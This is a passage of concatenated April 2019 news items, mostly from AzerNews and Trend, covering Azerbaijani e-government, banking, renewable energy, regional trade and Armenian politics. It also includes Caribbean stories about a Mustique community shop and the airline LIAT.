region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts. -- Follow us on Twitter @AzerNewsAz By Mirsaid Ibrahimzade The Azerbaijani government and the state agencies involved are conducting a constant work to ease the accessibility of public services for the population. Use of ICT technologies is definitely the best way to achieve this. The E-Government Development Center of Azerbaijan plans to switch from the current one-stop shop model to the new non-stop shop model of e-governance between 2020-2025, Fariz Jafarov, Director of E-Government Development Center, has told journalists. What is peculiar about this model, according to Jafarov, is that all necessary services will be continuously provided on the basis of a single e-government infrastructure. The system will be able to process a large amount of data to speed up and improve the quality of the services offered. Over the past year, the E-Government Development Center developed over 40 projects covering, among others, various service areas including E-Gov, AsanFinans, AsanLogin, AsanVisa, AsanPay, AsanWi-Fi, and E-Tender. Speaking about the current work of the Center, Jafarov noted that the e-government portal providing more than 400 types of services (e-gov.az) is a large system, which in turn consists of integrated subsystems connected to various areas: municipal, agrarian, social, and national. These subsystems combine many different structures. For example, all utilities will be in a single communal system to facilitate and accelerate the services provided to citizens. As part of the new approach to working with clients, a single subscriber code, a single service, and a single operator approach will be created. The Ministry of Labor and Social Protection of the Population of Azerbaijan and other state institutions of this sphere are integrated into unified social system that enables exchange of necessary information between its structures. The systems of national space and agrarian sphere will include all structures that operate in the agrarian, land, water, air, environmental and other sectors. According to the director, a lot of work was done on digitization and transfer of documents to the portal database. As noted by Jafarov, a period of reactive services began after digitization, which consists of providing services to various institutions at the request of citizens. The current period is one of proactive services, where services are provided without the request of citizens, he said. For example, when a child is born, the state will inform parents that it is necessary to obtain a birth certificate without the citizens making a request themselves. The system allowing for registering a newborn baby and issuing a birth certificate. The citizens will be also notified in the case of the expiration of their passports and other documents. Speaking about the success of AsanVisa initiative, the director said that in February this year, one millionth foreign tourist was issued an e-visa in Azerbaijan. He also reported about the AsanFinans project, which includes Internet banking allowing for quick banking transactions of the clients and provision of documents in an electronic form through the citizen identification system using an individual identification number (FIN). More than 24 companies, including banks and non-bank financial companies (NBFCs) have been integrated into this system, and the process of connecting other banks and NBFCs is underway, said Jafarov. He also spoke about unique AsanLogin project. According to Jafarov, registration in this portal provides access to all other ASAN portals. It is noteworthy that a new e-government portal (mygov.az) will be launched in Azerbaijan next month which will make possible to use the services of AsanPay on the website. Through the portal, citizens will have access to all the services of various structures and companies to connect to the system. AsanPay allows for making payments for more than 541 types of services including, among others, banking, mobile, utilities, leasing, tax, migration and judicial services. As of today, more than 10,000 AsanPay payment terminals have been installed in the country. The presentation of the mygov.az portal and new services to be provided by the AsanPay e-system took place on April 24 in the E-Government Development Center. Along with these innovations, there are plenty of advanced changes to ease life of Azerbaijani citizens and save their time. As an example, Azerbaijans Food Safety Agency will start online registration of business entities working in the nutrition sector on May 1. For this purpose, the agency has developed an automated information system for food safety, which currently operates in the test mode. The registration will no longer require visiting the agencys departments; it is necessary just to log into the agencys official website to register. -- Mirsaid Ibrahimzade is AzerNews staff journalist, follow him on Twitter: @MirsaidIbrahim1 Follow us on Twitter @AzerNewsAz By Leman Mammadova Trade and economic relations between Azerbaijan and the Netherlands are successfully developing since the parties are interested in increasing cooperation. The excellent relations between the Netherlands and Azerbaijan, particularly the economic relations, are steadily developing, Ambassador of the Netherlands to Azerbaijan Onno Kervers said this at a press conference dedicated to the King's Day - national holiday in the Kingdom of the Netherlands. He noted that the Netherlands welcomes the upcoming signing of a new agreement between Azerbaijan and the EU, "which will open up new opportunities for the development of trade and economic cooperation." The ambassador said that over the past few years, the two countries have focused on economic relations in the field of agriculture. Previously, the main indicator of our economic ties was the oil and gas industry. Now, after diversifying the economy of Azerbaijan, we have focused on the agricultural sector. As you know, the Netherlands is second in the world after the U.S. in the export of agricultural products. We are ready to share our experience in this field with the Azerbaijani side, he highlighted. Kervers further noted that early this month the Netherlands allocated 300 million euros for the construction of a model farm in Azerbaijan. Model farms are experimental farms designed to research and demonstrate improvements in agricultural techniques, efficiency, and building layout. The ambassador stressed that this step is connected with the desire and intention of the Netherlands to help the development of the agricultural sector in Azerbaijan. One of the well-known Dutch universities will also help us in the implementation of this project. This suggests that the Netherlands is interested in diversifying the economy of Azerbaijan, he said. Other projects are also envisaged in this direction. Additionally, 20 Dutch companies will participate in the Caspian Agro exhibition in Baku in May. We also intend to expand our humanitarian, social and human rights cooperation. Kervers emphasized that business relations between Azerbaijan and the Netherlands remain active in promoting trade between the two countries. In his words, the number of Dutch companies in Azerbaijan has increased. Entrepreneurs representing the Netherlands are more active in energy, water resources management, environmental management, port development, shipbuilding, logistics, petrochemical products, he said. The Netherlands recognized the independence of Azerbaijan in 1991. Diplomatic relations between the two countries were established in 1992. Azerbaijans Embassy was opened in the Hague in 2007, while the Dutch embassy was established in Baku in 2009. Relations between the two countries develop gradually, especially in the economic sector. Trade turnover between the countries increases annually. So far, up to 130 Dutch companies operating in services, construction, transport, industry, trade, communications, banking and insurance are registered in Azerbaijan. Azerbaijan and the Netherlands also cooperate in the development of the Baku Sea Trade Port and its connection with the Dutch ports. In addition, Azerbaijan cooperated with Dutch companies in rehabilitation of lakes in Absheron, including Boyukshor Lake. Although the Netherlands doesnt participate in the Southern Gas Corridor project, envisaging transportation of Azerbaijani gas to Europe, it attaches great importance to this project, as the Netherlands is extremely interested to support the energy security in the EU as a whole. In recent years the expansion of bilateral economic relations, the organization of economic missions, business forums, as well as other activities opened a new phase in practical cooperation between Azerbaijan and the Netherlands. --- Leman Mammadova is AzerNews staff journalist, follow her on Twitter: @leman_888 Follow us on Twitter @AzerNewsAz By Trend There are no prerequisites for growth of the exchange rate of the US dollar against manat in Azerbaijan, Chairman of Central Bank of Azerbaijan Elman Rustamov said at a press conference in Baku on April 26, Trend reports. According to him, the rise in prices of Azerbaijani oil provides replenishment of international currency reserves, which has a positive effect on the stability of the manat. The macroeconomic situation in Azerbaijan is stable, and there is a surplus in the balance of payments, he added. In 2015-2016, as a result of two devaluations in Azerbaijan, the manat exchange rate decreased more than twofold against the US dollar. In 2017, the manat rate strengthened against the US dollar by 4 percent thanks to the monetary policy pursued by the CBA. In the first quarter of 2018, the manat rate against the US dollar strengthened by 0.01 percent and reached the level of 1.7 manats for $1 since March 2018. --- Follow us on Twitter @AzerNewsAz By Trend The Central Bank of Azerbaijan (CBA) is proposing to switch to plastic (polymer) banknotes in the future, Chairman of Central Bank of Azerbaijan Elman Rustamov said at a press conference in Baku on April 26, Trend reports. Rustamov noted that cotton paper banknotes lose their original appearance during long-term use and deteriorate over time, and this leads to additional expenses of the Central Bank. The CBA Chairman said that practice of developed countries can be used in the process of switching to polymer banknotes. He added that the turnover of the Azerbaijani manat today is 213 million banknotes worth 8.3 billion manats. Most frequently replaced banknotes in circulation are the banknotes of denomination of 1, 5, 10 and 20 manats. -- Follow us on Twitter @AzerNewsAz By Leman Mammadova Azerbaijan is moving ahead in the development of the renewable energy sector, as it aims to increase the share of alternative energy in its total electricity production. In March 2019, Yashma wind power plant produced more than 11 million kWh of electricity, said spokesman for Azerishig OJSC Tanriverdi Mustafayev. In his words, this figure may change depending on weather conditions. At present, 26 turbines are operated at the Yashma plant, their number is expected to increase in the future. The generated electricity is transmitted to the general system. In general, according to forecasts, by 2025, alternative energy is expected to account for 25-30 percent of total electricity production in the country. Currently, this figure is 1.7 percent, he said. Yeni Yashma wind power plant with the capacity of 50 MW is considered to be one of the major projects on the development of renewable energy. The plant was put into operation in the Khizi region of the country in October 2018. It should be noted that in January-March of this year, 31.8 million kWh of wind power was generated in Azerbaijan, which is 8.4 times more than in the first three months of 2018. Azerbaijan carries out a number of measures for further development of alternative energy sector, aimed at reduction of its dependency on oil and gas. The favorable geographic location and climatic conditions allow the widespread use of environmentally friendly alternative energy sources in Azerbaijan. At present, 18 percent of electricity production in Azerbaijan accounts for alternative energy sources, in which hydro power plants hold main share. Wind power maintains 59.2 percent (15,000 MW) share in total potential for renewable energy. It is followed by solar power - 31.6 percent (8,000 MW), biomass power - 3.5 percent (900 MW), geothermal power - 3.1 percent (800 MW), and hydropower - 2.6 percent (650 MW). Azerbaijan is planning to introduce the new draft law on alternative energy sources by May 2019. In this context, the Norwegian DNV GL helps create a support system and a legal framework in Azerbaijan's alternative energy sector. The interests of investors may be considered in the drafts being prepared and thus, in the coming years, Azerbaijan will implement significant projects in the field of renewable energy sources based on private investments. Memorandums of cooperation have already been signed with the UAE-based company Masdar, Turkish company Tekfen and UK's Atkins. The Energy Ministry is cooperating with BP, Total and Equinor to develop alternative energy cooperation as well. Recently, Azerbaijan, Turkey and Turkmenistan signed a joint declaration that envisages expansion of existing cooperation in the areas of renewable energy, energy efficiency and green technologies. There are plans to implement a number of projects totaling $2.3 billion in alternative energy. The projects include a plant for production of biofuels (pellet fuels) in the Sabirabad region, construction of wind power plants in the Pirallahi district, an agro-energy residential complex in the Samukh region and others. Construction of two wind power farms worth $800 million and $408.9 million in the Pirallahi district, as well as a wind power farm worth $377.7 million in the Khizi rehion are the biggest projects planned for implementation. According to the Market Analysis Azerbaijan 2019, expansion of renewable electricity generation is estimated at 430 MW in 2018-2020, 840 MW in 2021-2025, and 925 MW in 2026-2030. The share of renewables in the total power generation is expected to be 15 percent by 2020, 25-30 percent by 2025 and 35-40 percent by 2030. --- Leman Mammadova is AzerNews staff journalist, follow her on Twitter: @leman_888 Follow us on Twitter @AzerNewsAz By Trend In January-March 2019, the assets of Azerbaijani banks increased by 0.3 percent, with the growth rates remaining low, Elman Rustamov, Chairman of Central Bank of Azerbaijan (CBA), told journalists at a press conference in Baku, Trend reports. According to him, the volume of consumer loans issued to households increased by 2.3 percent during the reporting period. This suggests that the existing problems in the banking and real sectors make it difficult to finance the economy through loans, despite the liquidity surplus, Rustamov said. Nevertheless, the stable exchange rate of the Azerbaijani manat helps to reduce dollarization. The CBA Chairman noted that the volume of dollar deposits of individuals in banks dropped from 60.5 to 58.7 percent. --- Follow us on Twitter @AzerNewsAz Construction of the new Community Shop (pictured) in Mustique was funded entirely by the Mustique Company. The Mustique Company officially handed over a new Community Shop to the Mustique Indigenous People Association (MIPA) last week Thursday, April 18. Construction cost of the shop, funded fully by the Mustique Company, was put at US$750,000 and was undertaken under the direction of Curtis Robertson. The shop a two-storey structure - stands on the site once occupied by a Preschool. A new Preschool was constructed on lands near to the primary school. Chairman of MIPA Wayne Trimmingham told the opening ceremony, "Our main objective is to help young people obtain education at the university level. In addition, he said, some revenue will be used to assist the elderly. Trimmingham made an appeal for volunteers "to help in the Shop until we can afford full time workers. He showered praises on the Mustique Company and the Homeowners on the island for their input into realizing the Community Shop, which he described as "a great achievement, and assured that the MIPA will work towards maintaining its good relationship with the Mustique Company. Managing Director of the Mustique Company, Roger Pritchard thanked the Sir James Mitchell and the current Dr. Ralph Gonsalves administrations for the support they have given to the company over the years. Pritchard said the new facility was only a shop but it will also provide an office for the MIPA executive and a post office. "I congratulate the village on this new acquisition. I hope the income is used for educational purposes, to help people develop themselves, and that it helps the village to help itself, said Pritchard on the expectations he held out for the facility. Prime Minister Dr. Ralph Gonsalves, on hand for the occasion, expressed happiness for the community. "I would have wished if it was little earlier, but as the evangelist says day by day sweet Jesus, declared the Prime Minister. Addressing the MIPA directly, Dr. Gonsalves said that he did not think the post office would bring in any real revenue, and suggested that a money transfer service be added to its portfolio. This, he said, will help persons, particularly those persons from the mainland who work on the island, to send money to their spouses and children. Robert Worcester, a Homeowner, is credited with having conceived and originally pursued the idea of a Community Shop. He said that the idea was to start a project that would help to bind the community together in a "win win situation. Worcester, it was, who broached the idea (in writing) to the Mustique Company on the 18th of March in 2018. The Board endorsed the idea and approved it for funding. He said that the contractors did a "fabulous job, and now that the facility is finished, he expects over 100 homeowners to provide items for sale at the Shop. Former Prime Minister Sir James Mitchell also had his say. He said that he had two encounters with the exercise; the first when Robert (Worcester) wrote to him, and second when he met with Wayne Trimmingham to discuss the plans for the facility. He expressed thanks to all who were involved in making the Community Shop a reality, and the hope that it will be profitable rather than having to depend on voluntary contributions for its survival. The Community Shop is set to offer a variety of goods for sale, including but not restricted to clothing, sporting equipment, china and other glassware, household items, and cosmetics. It is anticipated that the Shop will be patronized, in the main, by the residents of Mustique, including Homeowners and renters, itinerant workers from the mainland, Mustique Company staff, yachtsmen and women. Persons from the mainland, visiting the island, can also make purchases. The Community Shop, as explained at last Thursdays opening, will be managed by the MIPA. Revenue generated from sales is expected, in the main, to help fund higher education for the indigenous population.Patrons can look forward to the Shop being open seven days a week during the high season and twice a month during the low season. By Trend Azerbaijan has always been a supporter of the prompt delimitation of the Azerbaijani-Georgian border, Spokesperson for Azerbaijans Foreign Ministry Leyla Abdullayeva said, Trend reports April 25. She was responding to the question on the information released in the Georgian media regarding the restricted access to the Keshikchidagh monastery complex. Id like to remind that the Keshikchidagh monastery complex (David Gareji) includes many historical, architectural and religious sites scattered about 25 kilometers along the slopes of the ridge on the Azerbaijani-Georgian state border that divides this complex into two parts, she said. The delimitation of the state border between Azerbaijan and Georgia is being resolved within the framework of the existing bilateral formats on the basis of the procedures for coordinating such issues existing in international practice, she noted. Azerbaijan is ready to complete this process as soon as possible. --- Follow us on Twitter @AzerNewsAz By Trend The second "One Belt One Road" International Cooperation Forum has got underway in Beijing. A delegation led by President of Azerbaijan Ilham Aliyev is attending the Forum. The forum brings together the heads of state and government of 37 countries, and heads of international organizations. Addressing the opening ceremony of the second "One Belt One Road" International Cooperation Forum, Chairman of the People's Republic of China Xi Jinping thanked all the participants. Speaking to the opening ceremony, President of Russia Vladimir Putin, first President of Kazakhstan Nursultan Nazarbayev, President of Egypt Abdul Fattah al-Sisi, Prime Minister of Malaysia Mahathir Mohamad, Prime Minister of Pakistan Imran Khan and UN Secretary General Antonio Guterres hailed the importance of the "One Belt One Road" initiative. --- Follow us on Twitter @AzerNewsAz By Laman Ismayilova First Vice-President of Azerbaijan Mehriban Aliyeva has visited the orphanage-kindergarten No. 229 in Buzovna settlement. First Vice-President met with children and talked to them. Mehriban Aliyeva was also informed about the preparation of children of the older age group for school. The orphanage-kindergarten was built in 1836, and last repair works were carried out here in 2006-2007. Children aged from 2 to 6 in four groups are educated by the teaching staff of 27 people. The Heydar Aliyev Foundation makes a great contribution to the work carried out by the state in organizing the activities of children's institutions in Azerbaijan at high level. In February 2014, under the leadership of the Foundation President Mehriban Aliyeva, a presentation of the development program of pre-school educational institutions was held. Given the need to build new kindergartens, the Foundation has further expanded its activities in reconstruction of preschool educational institutions and building of new modern kindergartens in the country. Later, Mehriban Aliyeva visited Suleyman Rustam foreign languages gymnasium in Mardakan settlement. The gymnasium, commissioned in 1960, has never undergone a major overhaul. The educational institution has been operating as the foreign languages gymnasium since 2010. The two-block gymnasium has 50 classrooms, a gym, assembly hall and workshops. The gymnasium currently enrolls 609 pupils who are served by nearly 70 teachers. It offers classes in English, Arabic, Persian and Russian languages. First VP Aliyeva toured the classrooms, spoke with the pupils and wished them success. "You have a desire for education, science, and knowledge. You are the hope of Azerbaijan; therefore you should study well. In the future you will become the creators of Azerbaijan. I know that your school has always had a good record. I wish you success," she said. In the 2017-2018 school year, 49 students graduated from the school, of which 45 entered higher education institutions in Azerbaijan. At the entrance exams, three of the school graduates scored over 600 points. Mehriban Aliyeva also visited Lachin region school No. 32 temporarily based in the second block of the gymnasium. The educational institution has been operating in this building since 1993. The school is mainly attended by children from the families of the internally displaced persons, as well as children living in the Khazar district. Touring the classrooms, Mehriban Aliyeva talked to children and posed for photographs together with them. The school enrolls 170 pupils who are served by 25 teachers and 10 technical staff members. In 2017-2018 school year, nine students graduated from the school, of whom seven people entered higher education institutions in Azerbaijan with good results. Mehriban Aliyeva asked about the conditions created for the internally displaced persons living in the Khazar district, and noted that the state always pays special attention to this area. She gave relevant instructions to improve conditions in the educational institutions she has visited. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz By Trend The key military and political issues, related to the preservation and ensuring security in the region and the world, have been recently touched upon within the 8th International Security Conference in Moscow, Elkhan Alasgarov, PhD, Head of the Expert Council of the Baku Network and Deputy Director General of Trend News Agency said. The global and regional aspects of security, the peculiarities of the activity of the defense agencies in responding to threats and challenges to the security of the countries in terms of the crisis in relations between the West and the East were discussed at the plenary sessions, he said. "Moreover, the situation in Africa, Libya, Sudan, Syria, attempts to change power in Venezuela and in general, the global problem of combating world terrorism were discussed, Alasgarov said. The topics related to local conflicts, in particular, the Armenia-Azerbaijan Nagorno-Karabakh conflict, were not put on agenda of the conference. However, the topic of this conflict was discussed during bilateral conversations and meetings with security experts from Russia, the US, Japan, Sweden, France, Serbia and other countries." He mentioned that interesting conversations were held with Director of the Stockholm International Peace Research Institute Dan Smith, Under Secretary General for Department of Peace Operations at the UN Jean-Pierre Lacroix and ICRC's vice-president Gilles Carbonnier. The issues related to the Nagorno-Karabakh conflict, in particular, the implementation of four UN decisions on the withdrawal of the Armenian armed troops from the occupied Azerbaijani territories were discussed during those conversations, he said. The issue of the release of Azerbaijani hostages - Dilgam Asgarov and Shahbaz Guliyev, illegally convicted by the Armenian occupiers, was also discussed, he added. Following the meetings, Alasgarov stressed that today the world understands and supports Azerbaijans fair position, based on the norms and principles of international law. During the conference Azerbaijan was represented by Azerbaijani Deputy Minister of Defense, Lieutenant General Karim Valiyev, as well as Elkhan Alasgarov. --- Follow us on Twitter @AzerNewsAz By Abdul Kerimkhanov Armenian exports are steadily falling in volume, while new production facilities are not being commissioned. Some tax arrears revealed on the basis of doubtful paper calculations frequently end up in jailing businessmen, like ordinary criminals. It seems that in Armenia they dont know any other business methods. Taking over the government, Prime Minister Nikol Pashinyan with his team promised to launch reforms that would promote business, whilst the they did not met the expectations. There is a decline in indicators on foreign trade, agriculture, a slowdown in industrial growth by about 13 percent, which is mainly due to problems in the mining industry. The share of high technologies does not exceed 3 percent, even the average technological indicator is no more than 13 percent, although in other countries this figure exceeds 30 percent. Besides, Armenias population continues terribly suffering from unemployment, which is the highest among the CIS countries. Pashinyan opened a new Iranian car assembly plant a couple of months ago. The company does not work, although it regularly advertises job vacancies. Those who wish to get a job at the enterprise answer that there are no empty vacancies currently. Recently, the Spayka company specializing in agriculture stated that the company will not be able to purchase fruits and vegetables in a number of Armenian communities this year. This message caused a stir in the village of Sisavan, Ararat Province of Armenia. After the arrest of David Ghazaryan, the director, the company cannot issue new loans and part of its assets, including trucks, have been frozen. The Armenian State Revenue Committee claims that the companies connected with Spayka did not pay 7 billion drams to the budget (a little less than $15 million). According to the Revenue Committee, these companies imported fruits and vegetables from third countries to Armenia but designed them for goods exempt from VAT and duties. In this connection, the director of the company, David Ghazaryan, was charged on April 4 and on April 8, the court made a decision on his arrest. The arrest of Spayka owner threatens the activities of a large company in the procurement and export of agricultural products on the verge of the agricultural season. At the same time, there were no talks or calls to give explanations to mutual accusations. Moreover, the accused people often find out about the claims and decisions about their arrest from the media. The head of the Union of Industrialists and Entrepreneurs of Armenia, Arsen Ghazaryan, even tried to intercede for the Spayka owner. He said that there is no need to arrest the head of the company, but no one began to listen to him and the sentence remained in force. Against this background, it is strange to hear the assurances of the authorities to combat unemployment. Thousands of job cuts on Araratcement and Razdan-cement or Gazprom Armenia are only a visible part of the problem. Thus, the revolution took place in Armenia, but gave nothing positive to nation. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz By Abdul Kerimkhanov After the April coup of 2018, the Armenian society still cannot understand how Serzh Sargsyan allowed himself so easily to lose power. It was assumed that the voluntary resignation of Sargsyan is the result of his collusion with Nikol Pashinyan. This version somehow explained why Sargsyan is still not in prison as Robert Kocharyan. But a year later, a new version appeared. Sargsyan knew how the dignity revolution would end, he assumed Pashinyans failure and simply decided to wait quietly for this to happen and the rebellious oppositionist to lose everything. According to Armenian Verelq edition, Serzh Sargsyan sent several important messages in his resignation text that went unnoticed during the "velvet revolution" and the turbulent internal political events that followed. Political scientists and experts continue to wonder. Former Armenian Prime Minister, who retained RPA chairman position, continues to remain silent and is going to give a big interview soon and give answers to many troubling questions. Publication analysts believe that Sargsyan, being an experienced politician, formerly head of the National Security Service, understood that the "velvet revolution" actually has numerous supporters from among financial capitals, including from George Soros and other funds operating under U.S. and EU control. Having the Maidan scenario before his eyes, Sargsyan did not want to go into clashes and went for the most painful, but quick decision. He unexpectedly resigned to all, thus resolving the current explosive situation. It is no coincidental, Sargsyan stressed in his message that he meets demands of the street and not the people. Analysts believe that in the future, "velvet revolution", in the case of a new change of power, can be interpreted as a "colored" with external financing and assistance. Today's authorities will be brought to justice under articles on overthrow of the constitutional order and legally elected Prime Minister and Parliament. Exactly today, they are trying to condemn the ex-president Robert Kocharyan. Therefore, Sargsyan, having a lot of information about Nikol Pashinyan and his team, ceded power to an inexperienced team. The new government, along with the euphoria of victory, received a huge baggage of the economic problems of Armenia that had accumulated over the previous years, plus the stalled process of resolving the Nagorno-Karabakh problem. Sargsyan understood that young activists seen in anti-Russian sentiments and opposing the CSTO and the EAEU would not have a high degree of loyalty in the eyes of Moscow and would be forced to seek political happiness in the West. That is why Sargsyan gave Pashinyan time to allow the current Prime Minister to exhaust his high rating with his activities. Pashinyan's rating really goes down. As the latest polls show, today only 51 percent of Armenian citizens support the Prime Minister. Sargsyan is in standby mode, since time is working against a new team. Pashinyan's inner circle does not justify themselves, the problems are not solved, the Karabakh issue is not regulated. Moreover, the unsuccessful outcome of the war in Karabakh may lead to the resignation of Nikol Pashinyan and his team. Therefore, only having achieved serious progress in negotiations with Baku, Pashinyan can get time and resources to consolidate his power. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz By Trend Export of Russian agricultural equipment to Uzbekistan increased 7.5 times compared to 2017, to $20,817 million, Trend reports the press service of Russia's Rosspetsmash association. Russian plants export a wide range of agricultural machinery to Uzbekistan: grain and forage harvesters, energy-efficient tractors, harrows, seeders, balers and other equipment. Russia also supplies Russian road construction equipment, such as truck cranes, excavators, bulldozers, and smelters. Meanwhile, industrial exhibition "Expo-Russia Uzbekistan 2019" opened in Tashkent on Apr. 24. Russian specialized machinery has been represented by Rostselmash, Petersburg Tractor Plant and Pegas-Agro. The director of Rosspetsmash Alla Elizarova took part in the events of the business program - she became the moderator of the round table on the theme "Strengthening cooperation in the field of the agro-industrial complex". She noted that a promising area of cooperation between the two countries is the supply of modern Russian agricultural machinery and equipment to Uzbekistan for the production of high-quality agricultural products, which can be sold not only in the domestic market, but also exported to Russia. In addition, Russian enterprises can provide consumers from Uzbekistan with road building and food equipment, she said. Two years ago, Rostselmash launched the production of tractors and combines on the basis of the Chirchik agricultural machinery plant. Russian President Vladimir Putin has previously noted this production as one of the successful cooperation projects of the two countries. --- Follow us on Twitter @AzerNewsAz By Trend The construction of the International Trade and Economic Center (ITEC) on the border of Kazakhstan and Uzbekistan will allow modernizing the infrastructure of international trade, production and logistics in the border areas of the two countries, a representative of Ministry of National Economy of Kazakhstan told Trend in an interview. The representative said that the Center would enable business circles of the two countries to quickly and conveniently carry out trade operations, create joint ventures and carry out profitable and safe transport and logistics operations. Secondly, it is planned to create more than 10,000 jobs during the operational period of the project, i.e. during the construction of the ITEC facilities and after their commissioning. Thirdly, this will allow taking border and transit trade to the next level and increase tax collection to the local and republican budgets of both countries. Spontaneous markets, which are currently working at the checkpoint "Zhibek Zholy", do not allow to fully ensuring order and security, the representative said. Fourthly, the Ministry of National Economy explains, such a trade format will stimulate and strengthen interregional business cooperation through the creation of joint ventures, attracting mutual investments, holding exhibitions, fairs, business forums and other events. Moreover, the creation of such a Center will allow two states to further develop international tourism in the cities of Central Asia along the Silk Road. On April 15, 2019, during the visit of President of Kazakhstan Kassym-Zhomart Tokayev to Uzbekistan, a Memorandum was signed in Tashkent between the authorized agencies on the establishment of the International Trade and Economic Center (ITE). The priorities of ITE are to create a new modern checkpoint, build wholesale and retail trade facilities and adjacent infrastructure and create a transport and logistics center. According to the Ministry, there are a number of reasons for establishing the Center. Kazakhstan and Uzbekistan are the largest markets in Central Asia with total population reaching more than 50 million people and the recognized leaders in trade in the region. There are two largest agglomerations namely Shymkent and Tashkent located close to the border, whereas the railway station Saryagash, the international checkpoint "Zhibek Zholy" and the highway "Western Europe - Western China" in close proximity can become part of the Centers infrastructure. The existing significant potential for the development of tourism, transport and telecommunications services is another driving force behind the project. Finally, there is a huge potential for increasing international trade through the Center, as both countries are the main participants in the emerging "North-South" transport and transit corridor, which connects the largest markets of Central and South Asia with the richest regions of Europe, Ural, Siberia and the Far East. Alongside the modernized Konysbayev - Yallama checkpoint, ITE will be one of the key elements of this corridor. While answering Trends question about the Center's contribution to the development of the regions of the two countries located at the border, the Ministry representative replied that good-neighborly relations developed between Kazakhstan and Uzbekistan provide a solid foundation for the development of cross-border cooperation in the new format. According to the information provided, 1st Forum of Interregional Cooperation held In November last year demonstrated great business interest from the regions of the two countries. The emphasis in the economic cooperation shall be put on enhancing industrial cooperation and implementation of joint investment projects. It was noted that the last two years became a breakthrough for strengthening trade and economic relations between Kazakhstan and Uzbekistan. The key role in achievement was played by the leaders of the two countries. The political dynamics of last years bilateral contacts opened a fundamentally new page in the joint history of cooperation. Fruitful contacts at the highest level gave a powerful impetus to all the vectors of mutual relations "The decision of Uzbekistan to reduce excise taxes on various imported goods was a positive step towards intensifying trade cooperation. Based on the existing positive experience, we will continue to make efforts in this direction," said the Ministry spokesperson. There are more than 420 joint ventures and more than 1,000 companies with Uzbek capital in Kazakhstan. "We are convinced that our friendship supported by joint efforts to uncover the inexhaustible potential of bilateral cooperation, will be the key to fruitful Kazakh-Uzbek partnership in a wide range of areas and the cornerstone for strengthening stability and cooperation in the region," the representative of the Ministry emphasized. During the visit of the President of Uzbekistan to Kazakhstan on March 22-23, 2017, an agreement was reached on increasing trade turnover to $ 5 billion by 2020. In the meantime, meetings of ad hoc working group and regular expert consultations on mutual increase in commodity turnover between the two countries are regularly held. The intensification of bilateral trade and economic cooperation is confirmed by indicators of foreign trade. At the end of 2018, bilateral trade amounted to $ 2.5 billion, an increase of more than 25 percent over last year. In the first two months of 2019, the volume of mutual trade amounted to $ 433.5 million, with an increase of 16.5 percent. Uzbekistan remains the largest trading partner of Kazakhstan in the Central Asian region, as its share comprises more than 50 percent of the total volume of the Kazakhstans trade with the countries of Central Asia. --- Follow us on Twitter @AzerNewsAz By Trend At the plenary session of the Senate of Kazakhstan, the deputies adopted a law on ratification of a temporary agreement on the formation of a free trade zone between the countries of the Eurasian Economic Union (EAEU) and Iran, Trend reports referring to Kazakh media. The agreement concluded in Kazakhstan on May 17 last year provides for the establishment of a preferential trade regime and reduction of import customs duties in mutual trade zone between the EAEU member states and Iran in respect of a number of approved goods for a period of three years . Speaking at the session, the Minister of National Economy of Kazakhstan Ruslan Dalenov informed that the volume of mutual trade with Iran last year amounted to $516.3 million, of which Kazakhstan's exports to Iran accounted for 82.6 percent. "The main export products are barley, rolled steel, rapeseed and lamb. in line with the agreement, the Iranian side provided a reduction in import duties on 864 goods," the Minister said. The three-year agreement allows Kazakhstani exporters to import beef and mutton, legumes, vegetable oils, macaroni and confectionery, rolled steel, rails, batteries, fittings, and pipes to the Iranian market at a reduced rate. This group of goods, according to the minister, takes more than half of Kazakhstans exports. In their turn, the participating countries of the EAEU will reduce import duties on Iran on 502 goods including, in particular, pistachios, dates, figs, raisins, shrimps, confectionery, dishes, detergents, carpets and plastic products. The agreement approved by the senators will enter into force 60 days after the completion of the procedures for its ratification. The head of the Ministry of Economic Development and Trade noted that within a year after ratification the parties would begin negotiations on a permanent agreement on a free trade zone. The law approved by the deputies has yet to be signed by the President of Kazakhstan. --- Follow us on Twitter @AzerNewsAz By Trend A meeting with Ambassador of Hungary to Turkmenistan Peter Santo was held in the Union of Industrialists and Entrepreneurs of Turkmenistan (UIET), Trend reports with reference to the UIET. The diplomat was major investment projects and told about the success in the production of building materials, the food industry, the development of horticulture, animal breeding and poultry farming. It was emphasized that the measures being taken in Turkmenistan to support the non-state sector of the economy contribute to the development of the export potential of private business entities, the organization of joint ventures and interaction with foreign colleagues, the report said. Noting the attractiveness of the investment climate created in Turkmenistan and the presence of huge potential for the development of mutually beneficial economic and trade cooperation, the ambassador spoke in favor of establishing productive contacts between the business circles of the two countries, adding that he intends to fully contribute to this. Turkmenistan is taking measures to enhance the investment activity of small and medium-sized businesses. As of 2018, more than 1,015 enterprises subordinated to UIET operate in the agro-industrial complex. The local companies are focused on production of a wide range of agricultural and food products that satisfy the needs of the country's market. Some 597 enterprises are functioning in the industry sector, in particular in the area of the production of building materials, textiles and carpets, chemicals, metal products, furniture, faience, glass products, and polyethylene and plastic products to meet demands in the domestic and foreign markets. According to the state program of Turkmenistan, by 2020, the share of the non-state sector of the economy in the volume of gross domestic product should reach 70 percent. Local entrepreneurs are allowed to establish joint ventures with foreign partners by attracting their investments. -- Follow us on Twitter @AzerNewsAz Not for the first time, LIAT seems heading for a taste of the bitter end of the tongues of regional travellers. Inset: Prime Ministers Gaston Browne (left) and Dr. Ralph Gonsalves one spoke of pending doom, the other gave a hint of hope. Gaston Browne, Prime Minister of Antigua and Barbuda, has made it clear that he will never let LIAT go under. Brownes declaration, as reported by the Antigua Observer of April 24, followed a statement by Prime Minister of St. Vincent and the Grenadines Dr. Ralph Gonsalves, while speaking on a popular Grenada Broadcasting Network current affairs programme in St. Georges last week, that the financially constrained regional airline LIAT was at the brink of collapse. The imminent closure, according to Dr. Gonsalves, was as a direct result of most of the countries which use the carrier services not responding favourably to the airlines request for an injection of US$5.4 million to ensure its survival, a request that was first broached at the February 2019 Inter-Sessional Meeting of CARICOM Heads, held in St. Kitts. It was understood then that the four major shareholder governments would take the lead in contributing to this survival fund, with Barbados committing US$1.6m, Antigua and Barbuda 